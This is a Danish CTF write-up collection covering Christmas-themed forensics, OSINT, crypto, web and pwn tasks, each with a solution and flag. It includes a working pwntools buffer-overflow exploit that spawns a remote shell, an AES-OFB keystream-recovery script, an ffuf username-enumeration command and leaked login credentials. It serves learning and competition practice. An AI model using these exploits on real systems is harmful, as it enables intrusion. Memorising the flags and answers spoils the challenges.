KlokkeKarl: Jeg er glad for at kunne dele det med jer. Godt at vi kan skrive i hemmelighed her
TalThomas: Ja, NC3{CUst0m_enCod1ng_er_s3jt}
FrostFinn: Lige netop. Ingen har nogensinde kunne se vores beskeder

Flag: NC3{CUst0m_enCod1ng_er_s3jt}


Ondsindede Loginforsøg

Introduktion

Julemandens hovedserver er blevet kompromitteret, og vi mistænker stærkt, at de ondsindede gnomer står bag angrebet. Julens politi har sat en undersøgelse i gang, men de har brug for din hjælp til at identificere gerningsgnomen og afdække de kriminelle handlinger, der er blevet udført.

Kan du hjælpe med at genoprette julefreden og få styr på de stjålne data?

OBS: Dette er en serie på fem opgaver, der skal løses sekventielt. Denne opgave låser op for den næste.

Denne opgave

Julens politi har sikret en logfil fra serveren, som indeholder detaljer om flere loginforsøg. De mistænker, at en gerningsgnom har opnået fjernadgang, men da julemandens egne nisser også har adgang til serveren, er det svært at skelne mellem legitime og mistænkelige loginforsøg.

Gerningsgnomen virker til at have været opmærksom på at skjule sine spor, men det kan jo glippe! Kan du identificere et loginforsøg med en særlig interessant IP-adresse, der kan sætte efterforskningen på sporet af den skyldige?

Flaget er formateret NC3{tidsstempel}, hvor tidsstempel svarer til tidspunktet i det fundne loginforsøg, formateret som i loggen.

Vedhæftet fil: auth.log

Løsnings Summary:

  • Tidspunkter for aktiviteter: De logger ind på alle tider af døgnet.

  • Simultaneous sessions: Alle brugere har mange sessions på samme tid.

  • SUDO Actions: Alle brugere laver de samme SUDO actions. Selv root kører SUDO mange gange..

  • CRON Jobs: Kører meget predictable og udelukkende af root

  • Unknown users: Der er flere unknown users. Ingen er unikke. Alle forsøger kun fra interne IP’er.

  • root login fails: Mange fails, men alle er fra interne IP-adresser.

  • other user login fails: Sker flere gange for alle users, alle interne IP’er.

  • Sus users: KanelKnaser logger ind fra 100 foreign IP-adresser, primært TOR. Der er 1 kendt malicious IP, den er testet. Han flyver i øvrigt verden rundt på få sekunder, men det er testet at det ikke er mistænkeligt at han går fra bulgarien til holland på 6 sekunder.

  • Strange ports: Ingen

  • Foreign IP’s: Alle foreign IP’er (100) er næsten lige sus og hører udelukkende til KanelKnaser. Se IP analyse vedhæftet. Der er ikke nogen på nordpolen eller lign., det er primært TOR eller andre mærkelige steder. Heller ingen RUS/Kina.

  • “Suspicious IP”: Alle IP’er er blevet konverteret til ASCII og der er ingen som staver noget sjovt.

  • Misc: Der er et hop i loggen fra 31 jul kl. 21 something til 01 aug tilbage til 31 jul og så videre fra 01 aug igen.

Endelig Løsning: Ud af de 100 forskellige IP’er som KanelKnaser logger ind med, er: Aug 09 11:41:09 my-server sshd[14455]: Accepted password for KanelKnaser from 209.38.243.124 port 53935 ssh2. Alt det han ellers logger ind med er TOR Exit nodes. Denne ene er et VPN relay. [2:57 PM]

Flag: Aug 09 11:41:09


Serverskjulet

Julens politi formoder, at gerningsgnomen har etableret en skjult server og et tilknyttet domæne for at skjule sine spor.

Kan du bruge den fundne IP-adresse til at finde serveren og domænet, hvor yderligere spor om gerningsgnomen kan afsløres?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning: Hvis man til går https://209.38.243.124 får man et invalid ssl cert. View cert giver følgendene oplysninger om certifikatet.

Screenshot af Certificate

Flag: NC3{1nfiL7rAti0n_0g_3xf1ltr4t1on}


Kodedepotets Hemmelighed

Du har nu fundet gerningsgnomens hjemmeside, men dens indhold er kun overfladen. Julens politi mistænker, at yderligere information om eksfiltreret data kan gemme sig bag skjulte sider.

Brug OSINT-teknikker for at se, om du kan få adgang til disse skjulte sider og afsløre flere detaljer om, hvad der er blevet stjålet.

Kan du grave dybt nok til at finde den skjulte information?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning:

Screenshot af login siden på bitbibliotek

Hvis man laver lidt osint på datagnasker som er taget fra mailen [email protected] finder man en GitHub konto: https://github.com/datagnasker

Screenshot af Datagnasker’s GitHub

Websidens kode kan findes her: https://github.com/datagnasker/web_test

Screenshot af hjemmesidens kode Screenshot af Github commit

I filen views.py bliver denne linje fjernet og erstattet: if request.form['username'] == 'bit' and request.form['password'] == 'frost123':

Ved at loggeind med username bit og password frost123 finder man en flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}

Flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}


Alternativ Kodedeling

Du har fundet et interessant link på gerningsgnomens hjemmeside, men adgangen er beskyttet af en adgangskode, som du mangler.

Julens politi har en mistanke om, at nisserne har efterladt spor et sted på domænet, som kan lede dig til den nødvendige kode.

Kan du afsløre adgangskoden og låse op for sidste trin i efterforskningen?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning: Fra sidste opgave (Kodedepotets Hemmelighed) finder vi det interessante link som er: https://privatebin.net/?a5f7a035573705be#J5nBwc2LPLYTZKsy6prN32aHVxdMHjJfwbi4WaNcaSs8, pasten kræver en adgangskode, denne fandt vi også i sidste opgave: TXT record med: "delingmedKodetand:enjulehemmelighed1.jan". Koden til pasten er enjulehemmelighed1.jan

Screenshot af privatebin

Under “INTERESSER” i sidste linje findes flaget.

Flag: NC3{d3L_1kK3_h3MmeL1gh3d3R_h3R}


Gerningsgnomens Afsløring

Efter omfattende efterforskning har du samlet flere spor om gerningsgnomens aktiviteter.

Nu har Julens Politi brug for din hjælp til at færdiggøre politirapporten med præcise detaljer om hændelserne og de stjålne data. Kan du sikre, at rapporten bliver komplet og klar til julens retsopgør?

Link til rapportskabelonen: https://tryhackme.com/jr/nisseh4ck2o24

Løsning:

Screenshot af rapportskabelonen

I de sidste 4 opgaver har vi fundet følgendene:

  1. Brugernavn: KanelKnaser
  2. Pin: 2412
  3. Grøntsag: gulerødder
  4. Nøgler: Nissehue, Sukkerstang, Guirlande, Kræmmerhus, Julekugle
  5. Nummer: 299 12 34 56
  6. IP-adresse: 209.38.243.124
  7. Email: [email protected]
  8. Domæne: bitbibliotek.dk
  9. For- og efternavn: ?????
  10. By: ?????
  11. Organisation: Gnomerne Aps
  12. By: Ringsted

Ved hjælp af Bing finder vi For- og efternavn:

Screenshot af Bing søgning

  1. For- og efternavn: Børge Madsen

Nu mangler vi bare By.

Ved at kigge på hans Github profil kan vi se et “Stack ID”:

Screenshot af Github profil - Stack ID

Stack må betyde Stackoverflow: https://stackoverflow.com/users/28085338 som viser Location som Fensmark

  1. By: Fensmark

Efter at have udfyldt rapportskabelonen får man:

Screenshot af rapportskabelonen med flag

Flag: NC3{hU5k_aT_sKr1v3_r4Pp0Rt}


PostNordpolen II

Kryptonisserne opdagede sikkerhedshullet og har udskiftet deres kryptosystem, så PostNordpolens postnisser igen er forhindret i at snage.

Nøglenisserne har med magi udvidet kodebogen, så den aldrig løber tør - men er kryptosystemet mon stadig sårbart?

https://tryhackme.com/jr/postnordpolenii2o24

Forbind med: nc <tildelt-ip> 1337

Vedhæftet fil: postnordpolen_ii.py

Løsning: AES OFB går på at man starter med en IV, som via key krypteres og bliver den første keystream som XOR’s med de første 16byte. Denne keystream bliver så den ny IV for igen at blive krypteret for at blive XOR’et med de næste 16byte osv. osv.

Løsningen ligger i at bede om så mange flag at man ved at starte strengen er “[BREV 1000] NC3{”, hvilket er 16byte. Vi kan dermed få den første keystream! Ved at sende breve og bruge denne keystream som IV, kan vi få den næste keystream ved at XOR vores besked tilbage på den cipher vi modtager: “[BREV 1001] AAAA” XOR keystream = ciphertext.

Det gøres så for alle 5 blocks og man har flaget 🙂

from Crypto.Cipher import AES #pycryptodome
import os
from pwn import *

key = os.urandom(16)
IV = os.urandom(16)   #IV = efcc04b94963a02e01ac139456a3f160 in hex
cipher = AES.new(key, AES.MODE_OFB, IV) 

#Krypter testflag
ct = cipher.encrypt('[BREV 1000] nc3{Dette_er_kun_en}'.encode()) 
print(ct) 
#>>> 'g\xb7\xddL\xb6\xd8\x0b\x12u#D\x18a\xafv{\x93\xf6\x90$Z\x02|\xdb|\xa7\x8fO_j\x81\xa1'
first_bytes = ct[:16]
#first_bytes = bytes.fromhex(ct.hex()[:32])

ecb_cipher = AES.new(key, AES.MODE_ECB)
first_xor_key = ecb_cipher.encrypt(IV)

#Proof we can get the xor_key / keystream by xor with the known part
first_xor_key_calc = xor(first_bytes, '[BREV 1000] nc3{'.encode())

#Returns for first 16 bytes
print(first_xor_key) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'
print(first_xor_key_calc) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'

#Encrypt known plaintext with first_xor_key = IV
cipher2 = AES.new(key, AES.MODE_OFB, first_xor_key)
ct2 = cipher2.encrypt('[BREV 1001] AAAA'.encode())

second_xor_key = ecb_cipher.encrypt(first_xor_key)

#Proof we can get the xor_key / keystream by xor with the known part
second_xor_key_calc = xor(ct2, '[BREV 1001] AAAA'.encode())

print(second_xor_key) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'
print(second_xor_key_calc) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'

#Encrypt the IV once with the cipher to get the first block 
first_block = xor(first_xor_key_calc, ct[:16]) # >> b'[BREV 1000] nc3{'
print(first_block)

#Encrypt the IV again with the cipher to get the second block
second_block = xor(second_xor_key_calc, ct[16:]) # >> b'Dette_er_kun_en}'
print(second_block) 


#Recover the plaintext
pt = first_block + second_block 
print(pt.decode('latin-1')) # >> "[BREV 1000] nc3{Dette_er_kun_en}"
from pwn import *
import binascii 

context.log_level = 'debug'
host = '10.10.118.18'
port = 1337  

#this to connect to the server
p = remote(host, port) 

#decrypt with XOR func 
#def xor(*args):
 #   return bytes([a ^ b ^ c for a, b, c in zip(*args)])

#parameters
letter = 1
enc_flag = ''
hex_flag = '5369e734ab805ea36f332f6ce4dc6d3fb6ef6e5df6b7ed407c3a7056e4fcc895be99677fe2d4d00088e59380817b4ecc9fbadbdad512aaf64978fbc1947eea912e2026382649ab85' #[BREV 1000] nc3{

#functions
#convert to byte
def hex_to_byte(hex):
  return binascii.unhexlify(hex)

#known plaintext
def get_known(letter):
  response = f"[BREV {letter}]".encode()
  return response

#Get flag as byte string
def getFlag():
  p.sendlineafter('> ', '1')
  p.recvline()
  enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1])

  global letter 
  letter += 1
  return enc_flag
  

#send keystream for encryption
def encryptKeystream(keystream, plaintext):
  p.sendlineafter('> ', '2')
  p.sendlineafter('Besked: ', 'AAAA')
  p.sendlineafter('Adresse: ', 'Her')
  p.sendlineafter('IV: ', keystream.hex())
  p.recvline()
  result = binascii.unhexlify(p.recvline().strip().split(b': ')[1])

  global letter 
  letter += 1

  #Convert to new keystream with known plaintext
  newKeystream = xor(result, plaintext.encode())
  return newKeystream



#1 Run flag 1000 times to make the first 16bytes '[BREV 1000] NC3{'
while letter < 1000:
  getFlag()

enc_flag = getFlag()

#2 Convert first 16bytes to keystream
keystream = xor(enc_flag[:16], '[BREV 1000] NC3{') 

#3 Convert the keystream using the send message option.
plaintext = f'[BREV {letter}] AAAA' # BREV 1001
keystream1 = encryptKeystream(keystream, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1002
keystream2 = encryptKeystream(keystream1, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1003
keystream3 = encryptKeystream(keystream2, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1004
keystream4 = encryptKeystream(keystream3, plaintext)


#4 Xor with keystreams to return flag
block1 = xor(enc_flag[:16], keystream)
block2 = xor(enc_flag[16:32], keystream1)
block3 = xor(enc_flag[32:48], keystream2)
block4 = xor(enc_flag[48:64], keystream3)
block5 = xor(enc_flag[64:80], keystream4)

response = block1 + block2 + block3 + block4 + block5
log.success(response)




#this closes the connection
p.close()

# AES-OFB: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ofb-mode  https://github.com/zelinsky/CTF-Course/blob/master/Classes/4.md

Flag: NC3{hv3m_h4r_brug_f0r_3n_k3y_n4r_m4n_k4n_g3n5k4b3_k3y5tr34m}


Nisse-gæld

Fritz blev opdaget i at snyde pensionssystemet og skal betale alt tilbage.

Han har dog allerede brugt en stor del på sin nye fede Nisla, så han står nu med en klækkelig gæld på ❄️10.000.000.

Froststyrelsen har centraliseret sin håndtering af ❄️ for at øge sikkerheden - mon Fritz kan snyde systemet igen og få adgang til deres server, så han kan eftergive sin egen gæld?

https://tryhackme.com/jr/n1ssegaeld2o24

Vedhæftet fil: nisseby-2

Løsning:

from pwn import *

# Address of the target function (login_froststyrelsen) that spawns a shell
#target_function_address = 0x00000000004018b2
target_function_address = 0x00000000004018b6

# Offset to overwrite the return address
offset = 1008

# Build the payload
payload = b'A' * offset
payload += p64(target_function_address)
payload += p64(target_function_address) #??? men det skal der til, tror det er pga


# stack alignment just in case i think :-)
# Ensure total payload length is a multiple of 16
padding_length = (16 - (len(payload) % 16)) % 16
payload += b'B' * padding_length

# Start the process
#p = process('./nisseby-2') #local
# Connect to the remote service
p = remote('10.10.75.215', 1337)


# Interact with the program
print(p.recvline().decode())

p.sendline(b'4')  
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

# Send the payload
p.sendline(payload)

# Hand over control to interact with the shell
p.interactive()

Flag: NC3{T1llykk3_N1ss3fr1tz_du_3r_nu_gældfr1_3ft3r_fl3r3_m1nutt3rs_hård7_4rb3jd3}


Skattekammeret-robotnisse

Ønske: Lidt Web og lidt PWN her i den kolde tid!

Du ved, hvad der må gøres! H4CK the NISSE-skattekammer. Et enkelt overflow ad gangen.

https://tryhackme.com/jr/skattekammeret2o24

Løsning: robots.txt

Flag: nc3{r0b0t}


Skattekammeret-storenisse

Løsning: Clue fra robots.txt: disallow /skjult/storenisse.html /skjult/storenisse.html:

<html>
<h1>Skattekammeret2o24</h1>

SHH!!!<br>
<br>
Hemmeligt kodeord til storenisse:<br>
<br>
<p style="color:white">jegkommermedfred</p>

</html>

ssh storenisse@<ip>

storenisse@nc3ctf24-skattekammeret2o24:~$ ls
bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9  gave.b64

python3 -c 'import base64;print(base64.b64decode("bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9").decode())'

Flag: nc3{robots_base64_0g_pwn_i_en_pakke}


GremlinGram

Nisser og gremlins har længe haft et anspændt forhold, og i år frygter nisserne, at de teknologiglade gremlins er i gang med at planlægge noget skummelt.

Nisserne har fundet et socialt medie, hvor gremlins kommunikerer og har bedt Julens politi om at efterforske sagen. De er sikre på, at der gemmer sig noget under overfladen på denne side…

https://tryhackme.com/jr/gremlingram2o24

Løsning: port 80 åben. der er tale om en chat. Ved tryk på brugernavne kommer man til endpointet /user?user=. kan være -6 til 5, ellers får man en 500 side. Hvis man sætter andet ind end en integer bliver den sur og smidder en tilbage til hovedsiden. Forsøger man at fuzze med andre endpoints, smidder den også en tilbage til hovedsiden (/admin). hvis man kommer ekstra subdirectory på bliver den ikke sur (/admin/)

7 bit ascii

Vi ses ved Postnordpolens hytte 5 kl 20:00
Tjek, jeg har "hammeren" med
10-4
Jeg har en gremlin med i aften
Ok, så længe du har godkendt ham
Det er en jeg kender. Han burde være helt fint
Bare sørg for at være klar
Bliver 10 minutter forsinket
Noteret. NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}
10-4, find en rød Volvo

Flag: NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}


Nisseportalen #2

Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.

Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?

Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…

https://tryhackme.com/jr/nisseportalen2o24

Løsning: Første skridt er at bruge ffuf til at afsløre mulige brugernavne ved hjælp af følgende kommando:

ffuf -request login.req -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:USERFUZZ -r -fs 797

Teknikken går ud på systematisk at teste brugernavne ved at identificere unikke responskarakteristika. Vi leder efter beskeder som “Forkert password”, der indikerer et eksisterende brugernavn.

Når vi har identificeret et gyldigt brugernavn, kan vi gennemføre et password-angreb for at få fuld adgang til systemet.

Login-oplysningerne viser sig at være:

  • Brugernavn: test
  • Password: tester

Flag: NC3{Flag2:9aMl3_kod3R_ru573r_AlDrI9}


Gift Wrappinator 9001

Nisserne har indkøbt en ny Gift Wrappinator 9001 for at undgå slidgigt, gaveindpakning til to milliarder børn er ikke for sjov…

Men nogen har indstillet maskinen forkert, alle gaverne er blevet pakket ind i mange lag gavepapir på forskellige måder.

Maskinen kan indstilles til at pakke op igen, men skal bruge en kode for at pakke hvert lag rigtigt op.

Pssst, scriptet blev genereret med Python 3.13.0

Vedhæftet fil: wrappinator.py

Løsning:

#!/usr/bin/env python3

import marshal
import dis #sinserted
import re
import os
import hashlib

def delete_empty_files_using_walk(root_path): 
  
    no_of_files_deleted = 0
  
    # Route through the directories and files within the path - 
    for (dir, _, files) in os.walk(root_path): 
        for filename in files: 
  
            # Generate file path 
            file_path = os.path.join(dir, filename) 
  
            # Check if it is file and empty (size = 0) -------- 
            if ( 
                os.path.isfile(file_path) and
                os.path.getsize(file_path) == 0
            ): 
  
                # Print the path of the file that will be deleted 
                print("Deleting File >>>", file_path.replace('\\', '/')) 
  
                # Delete the empty file  
                os.remove(file_path) 
  
                no_of_files_deleted += 1
  
    print(no_of_files_deleted, "file(s) have been deleted.") 

def generate_checksum(data):
    # Create a SHA-256 hash object
    sha256 = hashlib.sha256()
    # Update the hash object with the data
    sha256.update(data)
    # Return the hexadecimal digest of the data
    return sha256.hexdigest()


def xor(*args):
    # Smart XOR implementation based on pwntools:
    # https://github.com/Gallopsled/pwntools/blob/db98e5edfb/pwnlib/util/fiddling.py#L299-L351
    args = [bytearray([s]) if isinstance(s, int) else bytearray(s) for s in args]

    def xor_(n):
        xored = 0
        for s in args:
            xored ^= s[n % len(s)]
        return xored

    length = max(len(s) for s in args)

    return bytes(map(xor_, range(length)))

def xor_some(pyc,key):
    """ 11
    LOAD_NAME                3 (xor)
    PUSH_NULL
    LOAD_CONST               6 (b'....')
    LOAD_NAME                4 (range)
    PUSH_NULL
    LOAD_CONST               7 (256)
    CALL                     1
    LOAD_NAME                5 (user_input)
    LOAD_CONST               0 (0)
    BINARY_SUBSCR
    CALL                     3
    STORE_NAME               6 (marshalled)"""
    marshalled = xor(pyc,range(256),key)

    """ 12
    LOAD_NAME                7 (marshal)
    LOAD_ATTR               17 (loads + NULL|self)
    LOAD_NAME                6 (marshalled)
    CALL                     1
    STORE_NAME               9 (compiled)"""
    compiled = marshal.loads(marshalled)
    return compiled



# user_input = (
#     b'N'
#     + b'C'
#     + b'3'
#     + b'{'
#    # + b"\xff"*32 #input("Indtast kodeord til Gift Wrappinator 9001: ").encode()
# )

#user_input += b"\xff"*(33 - len(user_input)) 

#assert len(user_input) == 33, "Kodeordets længde passer ikke med antal lag!"
#
code = [
    b'N',
    b'C',
    b'3',
    b'{',
    b'4',
    b'n',
    b'0',
    b'7',
    b'h', 
    b'3',#10
    b'r',
    b'_',
    b'0',
    b'n',
    b'3',
    b'_',
    b'4',
    b'n',
    b'd',
    b'_',
    b'A',
    b'n',
    b't',
    b'h',
    b'3',
    b'r',
    b'_',
    b'0',
    b'n',
    b'3',
    b'!',
    b'}'

]
s = ""
for c in code:
    s += c.decode("utf-8")
print(s)
import hashlib

def generate_checksum(data):
    # Create a SHA-256 hash object
    sha256 = hashlib.sha256()
    # Update the hash object with the data
    sha256.update(data)
    # Return the hexadecimal digest of the data
    return sha256.hexdigest()

layer = 33

def save_layer(nr):
    with open(f"./layer/_{str(nr)}.pyc", "wb") as file:
        file.write(pyc)
        print(generate_checksum(pyc))

pyc = b'\x9e|\x7f~yx{zutwvqssrmloni\x9b\xa7jed\xf2f=`1a]\\_^YX[ZUTWVQPSRML\x1cN|IKJEDGFa@\x1f@\x1f<l?\x0c9;:5476\x110o2\x7f//.)(+*%$\'&! #"\x1d\x1c\x1f\x1eJ\x18.\x1b\x15\x14\x17\x16\x11\x103\x12Q\x0e-\x0eZ\t>\x0b\x05\x04\x07\x06\x01\x00#\x02\xa1\xfc\xad\xfd\xf9\xf8\xfb\xfa\xf5\xf4\xf7\xf6\xf1\xf0\xf3\xf2\xed\xec\xef\xee\xe9\xe8\xb8\xea\xd0\xe5\xe7\xe6\xe1\xe0\xe3\xe2\xfd\xdc\x83\xdc\xfb\xd8\x88\xdb\xe0\xd5\xd7\xd6\xd1\xd0\xd3\xd2\xed\xcc\x93\xce\x9b\xcb\xcb\xca\xc5\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xbd\xbc\xbf\xbe\xb9\xb8\xbb\xba\xe6\xb4\x82\xb7\xb1\xb0\xb3\xb2\xad\xac\x8f\xae\xf5\xaa\x89\xaa\xf6\xa6\x92\xa7\xa1\xa0\xa3\xa2\x9d\x9c\xbf\x9e\xfe\x9b\xb2\x9e\xf2\x0e\x0e\x0f\x08\t\n+\xb2\xf6\xa1\x95\xd2\xbb\xb3\xb1\xb0\xbf\xbe\xb2\xec\xa0\xa3\xa2]\\_^YX[ZUTWVQPSRMLONJKHIF\x7f<V\x0c{8R0&rT\x11-)(456zq1?>(l#/.h,+3!7\'1)1bXN\x1fPL\x18K[^_RB\x11_C\x13c\x05,\xf4-\\BG@\xfe"UMEFR\xc7\x19olpvo\xb3\x15\xe7\x17\x16\x11\x10\xc9\x12\xd7\x043cfl~f`:u\x0e\x01\x00\x03\x03\xfd\xfc\xff\x8d\xac\xf8\xfb\xfa\x05\xf7\xf6\xf7\xf0(\xf3\xf6j\xe6n\xe4a\xdbo\xe5<\xe4\xe26\xe7\xd67\xe2\xea\x04\xdf\xda^\xd2Z\xd0]\xe7S\xd9\x08\xd0\xd6\x02\xcb\xfa\x1b\xce\xfe\x10\xcb\xceB\xceF\xccI\xf3G\xcdd\xbc\xban\xbf\x8eo\xba\x82l\xb7\xb26\xba2\xb8%\x9f+\xa1p\xa8\xaez\xa3\x92r\xa6\x96\xd2\xa5\xa2\x9d\x9c'


save_layer(layer)




hex_range = ( 
    code + 
    [int.to_bytes(i,1) for i in range(0x20,0x80)]
)



def get_dis(check,layer):
    #key = b"NC3{"
    for char in hex_range:
        try:
            binobj = xor_some(check,
                          char) # was 2
            dis.code_info(binobj)
            print(char)
            good_binobj = binobj
            break
        except Exception as e:
            #print(e)
            pass

    file_path = f"./dis/_{layer+1}.txt"
    with open(file_path,"w") as file:
        dis.dis(good_binobj,
                file=file)
        


with open(f"./layer/_{layer}.pyc","rb") as file:
    check = file.read()
    print(generate_checksum(check))


get_dis(check,layer)

#delete_empty_files_using_walk('./dis')

exit()
prg = re.compile(r"\(b'(.*)'\)")
prg2 = re.compile(r"(\\x[0-9a-f]{2})|.")
def get_pyc(layer):
    with open(f"./dis/_{layer}.txt","r") as file:
        dis_file = file.read()
        matches = prg.search(dis_file)
        chars = prg2.findall(matches[1])
        # new_pyc = bytes(matches.group(1),"utf-8")
    with open(f"./layer/_{layer}.pyc","wb") as file:
        for char in chars:
            if len(char) > 0:
                b_char = int(char[2:4], 16).to_bytes(1)
            else:
                b_char = bytes(char,"utf-8")
            file.write(b_char)
    with open(f"./layer/_{layer}.pyc","rb") as file:
        pyc = file.read()
        print(pyc[0:10])
        print(pyc[-10:-1])
        return file.read()
get_pyc(0)
exit()

key = b""
for layer in range(33):
    print(f"Layer {layer}")
    print("Getting pyc")
    check = get_pyc(layer)
    print("got pyc. getting key")
    key_part = get_dis(check,layer )
    print(f"got key part: {key_part}")
    key += key_part
    print(f"key is {key}. generation new pyc")



exit()
#My code#

try:
    binobj = marshal.loads(check)
    with open("wrap_dis_1.txt","w") as file:
        dis.dis(binobj,
                file=file)

    # exec(binobj)
except (ValueError, EOFError, TypeError, SyntaxError):
    print("FEJL: Koden matcher ikke gaveindpakningen!")

Flag: NC3{4n07h3r_0n3_4nd_Anoth3r_0n3!}


Raided

Midt- og Vestjyllands Politi har ransaget hos en mand i Viborg, der er mistænkt for at hacke Politiets systemer og downloade fortrolige dokumenter. På mandens adresse fandt de et par gemte devices samt to harddisks i et lille halvtomt rack.

Kredsen har carvet et par filer fra diskene, men formoder der er mere at komme efter, og de har derfor anmodet NC3 om assistance. Hjælp kredsen med at genskabe alt data, så de kan vurdere, om manden skal sigtes efter straffelovens § 263.

Vedhæftet fil: disks.zip

Løsning: Ud fra mappestrukturen på disken blev det identificeret, at data stammede fra en Linux-maskine. Diskene blev bundet til loop-enheder:

sudo losetup -fP disk_1  
sudo losetup -fP disk_2

For at undersøge, hvordan diskene var en del af RAID-opsætningen, blev mdadm brugt til at examine partitionerne:

sudo mdadm --examine /dev/loop1  
sudo mdadm --examine /dev/loop2

Her blev det afsløret, at diskene var en del af et RAID-setup med fire diske.

Partitionen blev samlet med følgende kommando:

sudo mdadm --assemble --run /dev/md0 /dev/loop1 /dev/loop2 --force

Dette samlede RAID-opsætningen til en ny enhed /dev/md0.

Den samlede partition blev mountet for at få adgang til filerne:

sudo mount /dev/md0 /mnt

Inde i mappen kunne filerne nu ses.

Flaget blev fundet i filen confidential_tlp_red.pdf. Denne PDF indeholdt et billede med teksten: NC3{raid_completed}

Flag: NC3{raid_completed}